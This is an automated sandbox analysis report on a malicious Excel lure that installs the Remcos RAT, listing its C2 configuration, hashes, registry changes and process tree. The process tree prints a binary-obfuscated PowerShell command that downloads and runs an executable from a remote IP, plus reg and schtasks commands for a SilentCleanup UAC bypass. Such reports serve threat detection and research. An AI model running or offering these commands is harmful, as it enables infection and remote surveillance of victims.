remcos | 4816d1e51c489e591d7d3d9aeba4cb7a494a97f27bba7a90d45bbe0e1b85a829

Analysis

max time kernel
150s
max time network
182s
platform
windows7_x64
resource
win7v20210408
submitted
25-08-2021 20:11

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General

Target

Chase Direct Deposit.xls
Size

116KB
MD5

89da2874a518638c7f5ec30a286f4167
SHA1

c766aba3be2f450a8059b4754fed706730321f4d
SHA256

4816d1e51c489e591d7d3d9aeba4cb7a494a97f27bba7a90d45bbe0e1b85a829
SHA512

390e3e89026436fff0fa646cc111df980cc5f5ef29b4c3ee1f857de426e643d10bf77f469424ab17a500dd8b575d62af5dea34d42c36a6ab905674c04797c21d

Score

10^/10

remcos augusta persistence rat

Malware Config

Extracted

Family

remcos

Version

3.2.0 Pro

Botnet

Augusta

twistednerd.dvrlists.com:8618

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
Augusta-LF4SC3
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
notepad;solitaire;

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1564	1648	powershell.exe	EXCEL.EXE

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 1564 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

bill.exebill.exe

pid process

1276 bill.exe
652 bill.exe
Loads dropped DLL 3 IoCs

Processes:

powershell.exebill.exe

pid process

1564 powershell.exe
1564 powershell.exe
1276 bill.exe

flow	pid	process
6	1564	powershell.exe

pid	process
1276	bill.exe
652	bill.exe

pid	process
1564	powershell.exe
1564	powershell.exe
1276	bill.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

bill.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\Zgwpegs = "C:\\Users\\Public\\Libraries\\sgepwgZ.url"	bill.exe

Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5B2B0EA2-F1E7-45F1-8BEE-BF209A367152}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5B2B0EA2-F1E7-45F1-8BEE-BF209A367152}\2.0\FLAGS\ = "6"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5B2B0EA2-F1E7-45F1-8BEE-BF209A367152}\2.0\HELPDIR	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	EXCEL.EXE

Modifies registry key 1 TTPs 3 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exe

pid process

2540 reg.exe
2436 reg.exe
2448 reg.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1648 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1564 powershell.exe
1564 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1564 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1648 EXCEL.EXE
1648 EXCEL.EXE
1648 EXCEL.EXE

pid	process
2540	reg.exe
2436	reg.exe
2448	reg.exe

pid	process
1648	EXCEL.EXE

pid	process
1564	powershell.exe
1564	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1564	powershell.exe

pid	process
1648	EXCEL.EXE
1648	EXCEL.EXE
1648	EXCEL.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

EXCEL.EXEpowershell.exebill.exe

description	pid	process	target process
PID 1648 wrote to memory of 1564	1648	EXCEL.EXE	powershell.exe
PID 1648 wrote to memory of 1564	1648	EXCEL.EXE	powershell.exe
PID 1648 wrote to memory of 1564	1648	EXCEL.EXE	powershell.exe
PID 1648 wrote to memory of 1564	1648	EXCEL.EXE	powershell.exe
PID 1564 wrote to memory of 1276	1564	powershell.exe	bill.exe
PID 1564 wrote to memory of 1276	1564	powershell.exe	bill.exe
PID 1564 wrote to memory of 1276	1564	powershell.exe	bill.exe
PID 1564 wrote to memory of 1276	1564	powershell.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe
PID 1276 wrote to memory of 652	1276	bill.exe	bill.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Chase Direct Deposit.xls"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1648

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $v78df0=(00100100,01110111,01100101,00110010,00110010,00111101,00100111,00101000,01001110,01100101,01110111,00101101,01001111,01100010,01101010,01100101,00100111,00100000,00101011,00100000,00100111,01100011,01110100,00100000,01001110,01100101,01110100,00101110,01010111,01100101,00100111,00111011,00100000,00100100,01100010,00110100,01100100,01100110,00111101,00100111,01100010,01000011,01101100,00100111,00100000,00101011,00100000,00100111,01101001,01100101,01101110,01110100,00101001,00101110,01000100,01101111,01110111,01101110,01101100,01101111,00100111,00111011,00100000,00100100,01100011,00110011,00111101,00100111,01100001,01100100,01000110,01101001,01101100,01100101,00101000,00100111,00100111,01101000,01110100,01110100,01110000,00111010,00101111,00101111,00110001,00111001,00111000,00101110,00110010,00110011,00101110,00110010,00110101,00110001,00101110,00110001,00110001,00110000,00101111,01100010,01101001,01101100,01101100,00101110,01100101,01111000,01100101,00100111,00100111,00101100,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100111,00100111,01011100,01100010,01101001,01101100,01101100,00101110,01100101,01111000,01100101,00100111,00100111,00101001,00100111,00111011,00111011,00100100,01010100,01000011,00111101,00100100,01110111,01100101,00110010,00110010,00101100,00100100,01100010,00110100,01100100,01100110,00101100,00100100,01100011,00110011,00100000,00101101,01001010,01101111,01101001,01101110,00100000,00100111,00100111,00111011,01001001,01000101,01011000,00101000,00100100,01010100,01000011,00101001,00111011,01110011,01110100,01100001,01110010,01110100,00101101,01110000,01110010,01101111,01100011,01100101,01110011,01110011,00101000,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100000,00100111,01011100,01100010,01101001,01101100,01101100,00101110,01100101,01111000,01100101,00100111,00101001) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };[system.String]::Join('', $v78df0)|IEX
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1564

C:\Users\Admin\AppData\Local\Temp\bill.exe
"C:\Users\Admin\AppData\Local\Temp\bill.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1276

C:\Users\Admin\AppData\Local\Temp\bill.exe
C:\Users\Admin\AppData\Local\Temp\bill.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
PID:652

C:\Windows\SysWOW64\mobsync.exe
C:\Windows\System32\mobsync.exe
5⤵
PID:2332

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Public\Trast.bat" "
5⤵
PID:2364

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
6⤵
PID:2404

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
7⤵
- Modifies registry key
PID:2436

C:\Windows\SysWOW64\reg.exe
reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
7⤵
- Modifies registry key
PID:2448

C:\Windows\SysWOW64\schtasks.exe
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
7⤵
PID:2472

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Public\nest.bat" "
5⤵
PID:2508

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
6⤵
- Modifies registry key
PID:2540

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\bill.exe
MD5
27ee757d743631d49dcb3c6d7c90dfbe

SHA1
2b356d2090ea481e38fdf1e78dac05b74c4818f0

SHA256
dc1bb96ddee60e15d3344fc4b0413634a54974ef9e854628157800c9d695f028

SHA512
871222583adde8b8f469dba61dfa8a25df04d7c3f9eb3867441928898df7c7bc92ecaa6aa8619d78c604589637670d4f732294d574a748aa9fdf0294aeff08e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\bill.exe
MD5
27ee757d743631d49dcb3c6d7c90dfbe

SHA1
2b356d2090ea481e38fdf1e78dac05b74c4818f0

SHA256
dc1bb96ddee60e15d3344fc4b0413634a54974ef9e854628157800c9d695f028

SHA512
871222583adde8b8f469dba61dfa8a25df04d7c3f9eb3867441928898df7c7bc92ecaa6aa8619d78c604589637670d4f732294d574a748aa9fdf0294aeff08e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\bill.exe
MD5
27ee757d743631d49dcb3c6d7c90dfbe

SHA1
2b356d2090ea481e38fdf1e78dac05b74c4818f0

SHA256
dc1bb96ddee60e15d3344fc4b0413634a54974ef9e854628157800c9d695f028

SHA512
871222583adde8b8f469dba61dfa8a25df04d7c3f9eb3867441928898df7c7bc92ecaa6aa8619d78c604589637670d4f732294d574a748aa9fdf0294aeff08e1

Download Submit
C:\Users\Public\Trast.bat
MD5
4068c9f69fcd8a171c67f81d4a952a54

SHA1
4d2536a8c28cdcc17465e20d6693fb9e8e713b36

SHA256
24222300c78180b50ed1f8361ba63cb27316ec994c1c9079708a51b4a1a9d810

SHA512
a64f9319acc51fffd0491c74dcd9c9084c2783b82f95727e4bfe387a8528c6dcf68f11418e88f1e133d115daf907549c86dd7ad866b2a7938add5225fbb2811d

Download Submit
C:\Users\Public\UKO.bat
MD5
eaf8d967454c3bbddbf2e05a421411f8

SHA1
6170880409b24de75c2dc3d56a506fbff7f6622c

SHA256
f35f2658455a2e40f151549a7d6465a836c33fa9109e67623916f889849eac56

SHA512
fe5be5c673e99f70c93019d01abb0a29dd2ecf25b2d895190ff551f020c28e7d8f99f65007f440f0f76c5bcac343b2a179a94d190c938ea3b9e1197890a412e9

Download Submit
C:\Users\Public\nest.bat
MD5
8ada51400b7915de2124baaf75e3414c

SHA1
1a7b9db12184ab7fd7fce1c383f9670a00adb081

SHA256
45aa3957c29865260a78f03eef18ae9aebdbf7bea751ecc88be4a799f2bb46c7

SHA512
9afc138157a4565294ca49942579cdb6f5d8084e56f9354738de62b585f4c0fa3e7f2cbc9541827f2084e3ff36c46eed29b46f5dd2444062ffcd05c599992e68

